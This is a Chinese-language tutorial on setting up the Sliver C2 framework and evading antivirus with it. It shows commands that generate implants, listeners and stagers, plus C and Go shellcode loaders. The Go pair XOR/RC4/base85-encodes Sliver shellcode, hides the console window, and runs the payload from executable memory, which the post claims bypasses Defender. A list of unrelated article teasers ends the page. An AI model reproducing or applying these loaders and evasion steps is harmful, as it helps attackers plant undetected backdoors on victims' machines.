红队C2工具Sliver探究与免杀

吉祥知识星球icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247485367&idx=1&sn=837891059c360ad60db7e9ac980a3321&chksm=c0e47eebf793f7fdb8fcd7eed8ce29160cf79ba303b59858ba3a6660c6dac536774afb2a6330&scene=21#wechat_redirect

《网安面试指南》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484339&idx=1&sn=356300f169de74e7a778b04bfbbbd0ab&chksm=c0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene=21#wechat_redirect

《Java代码审计》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect

前言

官方文档:https://github.com/BishopFox/sliver/wiki 下载地址:https://github.com/BishopFox/sliver

快速搭建

方法一(慢到怀疑人生):

git拉取,源码构建(需要下载git以及go编译环境【go最好不低于1.20】)

$ git clone https://github.com/BishopFox/sliver.git
$ cd sliver

Sliver 嵌入了自己的 Go 编译器副本和一些内部工具,第一次运行makebash 脚本时会将这些资源下载到本地系统。这意味着第一次构建将比后续构建花费更长的时间默认情况下make将构建当前运行的任何平台:

$ make

这将创建sliver-serversliver-client的二进制文件。

交叉编译到特定平台

您还可以为文件指定目标平台make,尽管您可能需要交叉编译器(见下文):

$ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows
方法二(舒服):

github下载编译好的linux版本,上传到服务器

图片

启动服务端

#直接启动
./sliver-server_linux#后台运行
yum install screen  #安装screenscreen  #启动./sliver-server_linuxCtrl + A + D #退出screen终端screen r #重新进入screen -D -r #强制进入

图片

image.png

支持多人运动

多人运动需要进行相关配置,启动后,server默认会监听一个端口31337,可以修改,位置在~/.sliver/configs/server.json

生成Client配置文件
new-operator --name xiaoai --lhost Server服务器IP #新建一个client
multiplayer #启用多用户

图片

image.png

将生成的后缀为.cfg的配置文件下载到本地,然后github下载windows客户端。导入配置文件如下,开启多人运动。

图片

生成shell

命令格式如下,缺点:(go打包,程序较大【10M+】)

generate --mtls <Server IP> --save ./test.exe --os Windows    #生成Windows木马
generate --mtls <Server IP> --save ./test.exe --os mac    #生成mac木马
generate --mtls <Server IP> --save ./test.exe --os linux  #生成linux木马

命令详解: --mtls:监听协议(包括http、mtls、grpc )

图片

开启监听

如上一步,我们生成shell所用的监听协议为mtls,故我们要配置mtls类型的监听。在终端执行命令

mtls

通过输入jobs命令,可以查看目前开启的监听。

图片

image.png

默认端口是8888 如果要指定端口,执行命令

mtls -l 9999

查看生成过的shell

implants

图片

image.png

运行shell后,server和client端都会得到会话的消息。可以通过sessions查看目前的会话

免杀探究

使用原版生成的木马,可以过电脑管家,但是Defender和360和火绒会被杀掉。

直接过电脑管家

直接双击运行,电脑管家无感知上线如下:会话操作

sessions -i id   #进入会话
sessions -k id   #杀掉会话(类似CS的exit,谨慎使用)

图片

image.png

简易Stager

在 Sliver C2 中,Stager 工作方式是基于一个配置文件(profiles),其中记载了一个 Implant(木马) 的所有定义及配置信息,该配置文件通过 profiles new 命令创建。

profiles new --http 127.0.0.1:9002 --skip-symbols --format shellcode --arch amd64 win64_stage   #生成配置文件
http -l 9002   #开启监听

在有了配置文件之后,就可以创建一个分阶段监听器,可通过 TCP 或 HTTP(S) 协议来传输 Sliver ShellCode 至目标主机上。

# 创建分阶段监听器(木马回连通信端口)
stage-listener --url tcp://127.0.0.1:8443 --profile win64_stage
# 创建Stager(shellcode)
generate stager --lhost 127.0.0.1 --lport 8443 --arch amd64 --format c

过程如下图:

图片

通信连接图如下:

图片

简单shellcode 加载器

使用C写的简单shellcode加载器,举个例子,这个编译出会直接被杀。

#include "windows.h"int main()
{unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
...void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, shellcode, sizeof shellcode);((void(*)())exec)();return 0;
}

思路这就打开了,和免杀CS一样了,各种加密混淆shellcode用来绕过杀软。

加密shellcode
package mainimport ("crypto/rc4""encoding/hex""fmt""github.com/eknkc/basex"
)func main() {key := []byte("xiaoaiaq")                                                                                                 message := "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\......" // 原始消息// XOR 操作xordMessage := make([]byte, len(message))for i := 0; i < len(message); i++ {xordMessage[i] = message[i] ^ 0xff}// RC4 加密cipher, _ := rc4.NewCipher(key)rc4Message := make([]byte, len(xordMessage))cipher.XORKeyStream(rc4Message, xordMessage)// 转为十六进制hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))n := hex.Encode(hexCiphertext, rc4Message)hexCiphertext = hexCiphertext[:n]// Base85 编码base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")encodedMessage := base85.Encode(hexCiphertext)fmt.Println(encodedMessage)
}
解密加载shellcode
package main
import ("crypto/rc4""encoding/hex""syscall""unsafe""github.com/eknkc/basex""github.com/lxn/win""golang.org/x/sys/windows"
)func main() {win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)key := []byte("xiaoaiaq")                                                                                        encodedMessage := "2^f3pZzEw)WqdyIsUOpY25$_kgn9_9Kue2kt%Ks+XEJCzoSerJ@IK^kNr|7Aiwamzt8g>&9m#z52lh=KnD!;7M4rwJ86>E$zvdNygVjaWO!>s7kQP;owW^?aZOaP!yVQ$lYx$e(rbb%gw#&ly6yreXU<LO~B!G575FerHX?~TC<0iP#&%?R@?~Fd......"// 编码后的消息// Base85 解码base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")hexCiphertext, _ := base85.Decode(encodedMessage)// 转为二进制rc4Message := make([]byte, hex.DecodedLen(len(hexCiphertext)))n, _ := hex.Decode(rc4Message, hexCiphertext)rc4Message = rc4Message[:n]// RC4 解密cipher, _ := rc4.NewCipher(key)xordMessage := make([]byte, len(rc4Message))cipher.XORKeyStream(xordMessage, rc4Message)// XOR 操作message := make([]byte, len(xordMessage))for i := 0; i < len(xordMessage); i++ {message[i] = xordMessage[i] ^ 0xff}kernel32, _ := syscall.LoadDLL("kernel32.dll")VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")// 分配内存并写入 shellcode 内容allocSize := uintptr(len(message))mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)if mem == 0 {panic("VirtualAlloc failed")}buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]copy(buffer, message)// 执行 shellcodesyscall.Syscall(mem, 0, 0, 0, 0)}
过Defender

启动Defender,成功上线如下:

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/420449.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

纯国产芯片LT8911EXB,MIPI转EDP信号转换器,LT8911B升级版本

以下为视频转换芯片LT8911EXB的简介 LT8911EXB MIPI DSI/CSI到eDP转换器具有单端口MIPI接收器&#xff0c;1时钟通道和4每个数据通道的最大运行速度为2.0Gbps;一个最大输入带宽为8.0Gbps。转换器解码输入MIPIDSI 16/18/24/30/36位RGB数据包&#xff0c;并将格式化的视频数据流转…

异步文件操作的革命:探索aiofiles的魔力

文章目录 异步文件操作的革命&#xff1a;探索aiofiles的魔力1. 背景介绍2. aiofiles是什么&#xff1f;3. 如何安装aiofiles&#xff1f;4. 简单的库函数使用方法5. 场景应用6. 常见Bug及解决方案7. 总结 异步文件操作的革命&#xff1a;探索aiofiles的魔力 1. 背景介绍 在现…

【Java-反射】

什么是反射&#xff1f; JAVA反射机制是在运行状态中&#xff0c;创建任意一个类&#xff0c;能获取这个类的所有属性和方法&#xff1b;对于任意一个对象&#xff0c;都能够调用它的任意一个方法和属性&#xff1b;这种动态获取的信息以及动态调用对象的方法的功能称为java语言…

RHEL 7 安装配置( Linux 网络操作系统 02)

一、虚拟机安装 我们的每台电脑都已经安装了VMware 虚拟机&#xff0c;其安装相当简单&#xff0c;在此不再赘述。可以参考如下链接&#xff1a; VMWare安装傻瓜式教程 &#xff08;大家可以关注老师的博客&#xff0c;也建议大家写博客。&#xff09; 二、红帽 rhel 7 安装 找…

IEC103设备数据 转 IEC61850项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 4 配置VFBOX网关采集103设备数是 2 5 用IEC61850协议转发数据 4 6 网关使用多个逻辑设备和逻辑节点的方法 6 7 IEC103协议说明 8 8 案例总结 9 1 案例说明 设置网关采集IEC103设备数据把采集的数据转成IEC61850协议转发…

通过 python 的 Opstrat 绘制收益图加深期权策略理解

本文介绍介绍一个 Python 包- opstrat&#xff0c;通过它绘制期权收益图&#xff0c;帮助我们理解期权策略的收益风险比。 什么是期权收益图&#xff1f; 期权收益图展示了某个期权或期权组合的盈亏情况&#xff0c;如下图中&#xff0c;展示一张标的现价 100&#xff0c;行权…

Carfilzomib (PR-171) 蛋白酶体 (proteasome) 抑制剂AbMole介绍

AbMole Carfilzomib (PR-171)是一种不可逆的蛋白酶体 (proteasome) 抑制剂&#xff0c;IC50为<5 nM&#xff0c;在体外优先抑制β5亚基的ChT-L活性&#xff0c;对PGPH和T-L活性很弱或没有作用。 Carfilzomib (PR-171)在体外优先抑制β5亚基的ChT-L活性&#xff0c;对PGPH和…

C#游戏服务器开发框架设计与架构详解

我一直在思考一个问题&#xff0c;什么样的服务端框架最好用&#xff0c;最适合? 经过这些年的项目经验&#xff0c;其实最好用&#xff0c;最适合的游戏服务端框架就是自己结合公司项目需求,团队特点与技术能力,自己整合的游戏框架是最好用的。 很多新手会担心自己整合的框架…

SprinBoot+Vue小区车辆管理系统的设计与实现

目录 1 项目介绍2 项目截图3 核心代码3.1 Controller3.2 Service3.3 Dao3.4 application.yml3.5 SpringbootApplication3.5 Vue 4 数据库表设计5 文档参考6 计算机毕设选题推荐7 源码获取 1 项目介绍 博主个人介绍&#xff1a;CSDN认证博客专家&#xff0c;CSDN平台Java领域优质…

CMU 10423 Generative AI:lec4(Modern Transformers + CNNs)

文章目录 1 概述2 内容摘录2.1 深度学习架构的历史2.2 预训练概念、三种训练方式、效果对比2.3 现代Transformer模型概览1. **PaLM (Pathways Language Model, 2022年10月)**2. **Llama-1 (2023年2月)**3. **Falcon (2023年6月-11月)**4. **Llama-2 (2023年8月)**5. **Mistral …

vba发邮件:如何设置自动化发送电子邮件?

vba发邮件的技巧有哪些&#xff1f;VBA如何调用outlook发邮件&#xff1f; VBA发邮件功能是一个非常实用的工具&#xff0c;能够帮助用户自动发送电子邮件&#xff0c;减少手动操作的时间和错误。AokSend将详细介绍如何通过VBA发邮件来实现自动化发送电子邮件的设置。 VBA发邮…

Java 设计模式-代理模式

目录 概述 一. 什么是代理模式 1. 举例说明 二. 代理模式作用 1. 保护代理 2. 增强功能 3. 代理交互 4. 远程代理&#xff1a; 三. 代理模式3个角色 四. 静态代理 1. 代码示例&#xff1a; 五. JDK动态代理 1. 代码示例&#xff1a; 六. CGLIB 动态代理 1.代码示…

怎样将vue项目 部署在ngixn的子目录下

如果同一服务器的80端口下,需要部署两个或以上数量的vue项目,那么就需要将其中一个vue项目部署在根目录下,其他的项目部署在子目录下. 像这样的配置 访问根目录 / 访问灭火器后台管理,访问 /mall/ 访问商城的后台管理 那么商场的vue项目,这样配置,才能在/mall/下正常访问? 1…

使用Nest.js+LangChain给低代码平台赋上AI代码生成能力,让低代码变成低低代码!

前言 LangChain 是一个用于开发由大型语言模型&#xff08;LLM&#xff09;支持的应用程序的框架。可以快速使用它集成各个模型&#xff0c;以及格式化用户输入和模型输出&#xff0c;封装了很多工具类&#xff0c;使得开发者很容易将其集成到自己的程序当中。 最近&#xff…

反相放大器电路设计

1 简介 反相放大器电路输入阻抗由外部电阻决定&#xff0c;因此要求输入源阻抗降低。该电路的共模电压等于同相端电压&#xff0c;通常同相端接地&#xff0c;所以该电路共模电压为零。 2 设计目标 2.1 输入 2.2 输出 2.3 频率 2.4 电源 3 电路设计 根据设计目标&#xff0c…

Solon2 与 Spring Boot 的核心区别及对比

在Java开发领域&#xff0c;Solon2和Spring Boot是两个备受关注的框架&#xff0c;它们各有特点&#xff0c;适用于不同的开发场景。本文将深入探讨Solon2与Spring Boot之间的核心区别&#xff0c;帮助开发者更好地理解并选择适合自己的框架。 1. 架构与基础 Solon2&#xff…

QGis二次开发 —— 1、Windows10搭建Vs2017-QGis环境(附Vs2017环境效果)(附:Qt助手加入QGis接口说明文档)

OSGeo4W简介 更高级的 QGIS 用户应该使用 OSGeo4W 包。此安装程序可以并行安装多个版本的 QGIS&#xff0c;并且还可以进行更高效的更新&#xff0c;因为每个新版本仅下载和安装更改的组件。      OSGeo4W 存储库包含许多来自 OSGeo 项目的软件。包括 QGIS 和所有依赖项&a…

echarts 水平柱图 科技风

var category [{ name: "管控", value: 2500 }, { name: "集中式", value: 8000 }, { name: "纳管", value: 3000 }, { name: "纳管", value: 3000 }, { name: "纳管", value: 3000 } ]; // 类别 var total 10000; // 数据…

【银河麒麟高级服务器操作系统】虚拟机服务器执行systemctl提示timeout——分析全过程及处理建议

了解更多银河麒麟操作系统全新产品&#xff0c;请点击访问 麒麟软件产品专区&#xff1a;https://product.kylinos.cn 开发者专区&#xff1a;https://developer.kylinos.cn 文档中心&#xff1a;https://documentkylinos.cn 现象描述 产品信息 产品名称 银河麒麟高级服务…

SpringBoot3:轻松使用Jasypt实现配置文件信息加密

文章目录 前言一、概述1.1 Jasypt库简介1.2 Jasypt库的主要特点 二、开发环境三、Jasypt集成到SpringBoot33.1 引入依赖3.2 配置Jasypt3.3 加密配置文件信息3.3.1 方案一&#xff08;不推荐&#xff09;a.编写测试类生成加密后的配置文件信息b.运行c.修改原本的配置文件信息 3.…